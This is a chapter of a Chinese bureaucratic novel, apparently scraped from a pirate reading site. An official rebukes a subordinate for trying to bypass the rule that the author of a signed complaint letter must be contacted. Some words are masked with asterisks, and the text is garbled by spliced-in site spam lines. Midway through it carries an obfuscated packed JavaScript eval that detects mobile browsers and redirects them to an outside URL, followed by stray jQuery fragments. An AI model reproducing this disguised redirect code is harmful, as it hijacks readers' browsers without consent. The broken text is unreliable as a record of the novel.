这个“查”的过程本身，就是对**人无形的压力，对公示环节的巨大干扰。


    “真的？”


    “是的，”张世杰点了点头，语气变得肯定了些，“有一封是实名的。”


    “**人是谁？”


    “姓名，单位职务？或者联系方式？**带来了吗？”陈琪珙强迫自己冷静下来，语气恢复了惯常的平稳，但每一个问题都切中要害。


    他要掌握这个发起者的具体信息。


    了解举报人身份，是判断举报动机、背景和后续处置方向的关键一步。


    张世杰似乎早有准备，但他没有立刻将**拿出来，反而脸上浮现出一种更加为难的、几乎是推心置腹的表情：“陈部长……”


    他从随身携带的公文包里，缓缓地拿出一个标有“群众来信”字样的牛皮纸信封，双手放在陈琪珙的办公桌上，指尖在信封上点了点，“信在这里……署名的。”


    “不过……”他话锋一转，眼神恳切地看着陈琪珙，“信里写的那些事，我觉得……您还是先看看，先看看里面提到的那些‘事实依据’是不是站得住脚？”


    “我们是不是应该……先核实信里提到的‘事实’，再决定是否惊动举报人本人？”


    他试图将陈琪珙的注意力引向信的内容，而非举报人的身份。


    他提出了一条“捷径”——绕过直接接触举报人，先自行秘密核查信里内容的真实性。


    这在程序上似乎也有点依据，可以减少组织部门和举报人本人的直接对立，减轻当前压力。


    这似乎是一个缓冲的办法。


    “嗯？”陈琪珙的眼神瞬间锐利如刀，直刺张世杰！“张世杰同志！”他语调骤然拔高，带着一种不容置疑的严厉，“你负责干部工作多久了？！”


    “这……”张世杰被他突如其来的高声质问吓得一哆嗦，脸色微变。


    “《办理**工作规程》第二章第五条第一项写得清清楚楚！”陈琪珙的手指重重地敲在桌面上，发出沉闷但坚定的声响，“接到**后，必须在三日内派出两名以上正式工作人员，与举报人取得直接联系。”


    “当面核实举报人身份，确认**确系其本人所写，确认举报事项。”


    “并详细了解举报的具体细节、证据线索或信息提供来源！并制作详细的谈话记录！”


    他一字一句，掷地有声，每一个字的读音都咬得异常清晰，如同法条背诵。


    “不见**人，不听取他本人的


    听说和异性朋友讨论本书情节的，很容易发展成恋人哦


    具体陈述和证据你怎么去核实事实？”


    “仅凭一封信就能下定论吗？”


    他猛地站起身居高临下地盯着开始额头冒汗的张世杰：“我们怎么知道这‘事实’是不是他亲手写上去的？”


    “是不是他真实意愿的表达？”


    “是不是有人冒名？”


    “或者举报人是否受到什么压力误导？”


    “不接触举报人我们怎么判断他说的是否有据是否符合可核查的基本要求？”


    “这叫基本程序！是铁律！”


    “半点都不能含糊！”


    “张世杰同志你是老组织了这个基本程序还要我多说吗？！”


    陈琪珙的怒火不仅仅针对这条不合规的建议更包含着一种被人试图牵着鼻子走、试图糊弄程序的深层愤怒。


    张世杰的提议看似“好心”实际上是想绕过核心步骤让整个核查失去规范的锚点变成可以随意解读、甚至可以**纵的模糊操作。


    这触及了他作为老组工干部的底线！


    “是！是！陈部长批评得对！”


    “是我一时疏忽老糊涂了！”张世杰被训斥得脸色一阵红一阵白身体都矮了半截连连点头认错“确实应该按规矩来！应该见举报人！”


    “不能图省事！”


    “疏忽？”陈琪珙冷笑一声根本不信这种托词。


    他指着桌上的**语气不容置疑：“去找举报人！马上！不管他现在在哪个角落是干部是群众你现在就去联系他！”


    “立刻！安排两个人一起！”


    “必须把人给我带到办公室来面谈！我要亲自见他！”


    他的话语带着雷霆般的压力。


    他倒要看看这个敢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822019|164900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在提拔公示节骨眼上就一件有定论的旧案进行**的“勇者”究竟是何方神圣？


    他的背后又站着谁？


    张世杰脸上的肌肉抽搐了一下额头上似乎渗出了细密的汗珠。


    他没想到陈琪珙如此果断丝毫不给他回旋的余地。


    在陈琪珙那洞悉一切的目光下他感到一阵心虚连忙站起身诺诺连声：“是！是！陈部长您说得对。”


    “是我考虑不周程序不能乱。我这就去联系这就去！”


    说完他几乎是小跑着离开了陈琪珙的办公室


    办公室里只剩下陈琪珙一人。


    他拿起那个牛皮纸信封触手冰凉。


    听说看这本书的人都是很幸运的，分享后你的运气会更棒


    办公室里重新恢复了安静，但空气中的凝重感却丝毫未减。


    陈琪珙看着那扇关上的门，目光深邃。


    他缓缓拿起桌上那封所谓的“**信”，并没有立刻打开。


    他知道，这封信，以及即将到来的**人，恐怕只是这场因人事调整而掀起的风波的一个开端。


    蒋珂文刚刚离开，这些牛鬼蛇神就迫不及待地跳了出来，而且直接针对的是这次调整中比较关键的岗位。


    他站起身，走到窗边。


    这场风波，他必须稳稳地接住，要维护组织程序的严肃性和公正性，保护敢于干事创业的干部。


    这场硬仗，既然让他临时碰上了，那就必须打好。


    他拿起内部电话，接通了干部监督股的办公室，语气平静却不容置疑：“通知一下，半小时后，召开一个部分负责人短会，通报一下公示期**反映的受理原则和纪律要求。”


    会后。


    他慢慢坐回椅子，全身的重量都倚在靠背上，身体微微发僵。额角因为高度的紧绷和刚才的怒火，渗出细密的冷汗。


    事情比预想的要复杂一百倍。


    蒋珂文的“放心”两个字，此刻重若千斤。


    他陈琪珙不是初出茅庐的愣头青。


    他深知在权力更迭的敏感地带，一个看似简单的程序问题，往往就是引爆连锁危机的**。